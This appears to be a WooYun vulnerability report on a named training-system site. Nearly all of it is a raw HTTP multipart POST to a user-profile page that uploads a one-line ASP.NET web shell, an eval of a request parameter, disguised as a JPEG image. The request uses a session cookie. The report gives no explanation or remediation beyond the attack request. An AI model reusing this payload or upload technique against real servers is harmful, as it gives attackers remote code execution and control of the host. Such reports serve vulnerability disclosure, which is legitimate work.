WooYun.org

http://px.qk365.com/default.aspx

POST /PXSystem/User_Info_Manage.aspx HTTP/1.1
Host: px.qk365.com
Proxy-Connection: keep-alive
Content-Length: 3113
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://px.qk365.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd5rPHJR88c1TPeJS
Referer: http://px.qk365.com/PXSystem/User_Info_Manage.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=he4igfacdfmdg4jdllh0vq55
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="__VIEWSTATE"
/wEPDwUKLTg5NDY5Njk3Ng9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YRYSAgEPDxYCHgRUZXh0BQhhZG1pbjEyM2RkAgMPDxYCHwEFDOaZrumAmuWtpuWRmGRkAgUPDxYCHwEFBiZuYnNwO2RkAgcPDxYCHwEFD+aIv+S4nOWFs+ezu+e7hGRkAgkPDxYCHwEFBuebkeeuoWRkAgsPDxYCHwEFCjIwMTUtMTEtMDVkZAInDw8WAh8BZWRkAi0PDxYEHghJbWFnZVVybAU4Li4vVXBsb2FkL1BYU3lzdGVtL2RlZmF1bHQvMTQ5OC8yMDE1MTEwNTA1MDYzMjcxNTI1LmFzcHgeB1Zpc2libGVnZGQCLw8PFgIfA2hkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQULQXV0b1JlbmFtZTJy2ddlS6o5n09SxDcUtUH6TJAt0Q==
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_NICKNAME"
admin
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_SEX"
男
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_CNNAME"
admin
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_ENNAME"
admin
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_PHONE"
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_MOBILE"
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_EMAIL"
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_CONTACT"
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_EDU"
学士
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_ADDRESS"
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="STU_POST"
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="ACCOUNT_FACE"
-1
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="ACCOUNT_CARD"
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="UploadLocalFile"; filename="12.jpg"
Content-Type: image/jpeg
<%@ Page Language=¡±Jscript¡±%><%eval(Request.Item["qwert"],¡±unsafe¡±);%>
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="UploadLocalFile2"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="AutoRename2"
on
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="saveInfo"
保存数据
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="PICTURE_MODE"
HW
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="PICTURE_WIDTH"
100
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="PICTURE_HEIGHT"
120
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="IMAGE_MODE"
HW
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="IMAGE_WIDTH"
100
------WebKitFormBoundaryd5rPHJR88c1TPeJS
Content-Disposition: form-data; name="IMAGE_HEIGHT"
100
------WebKitFormBoundaryd5rPHJR88c1TPeJS--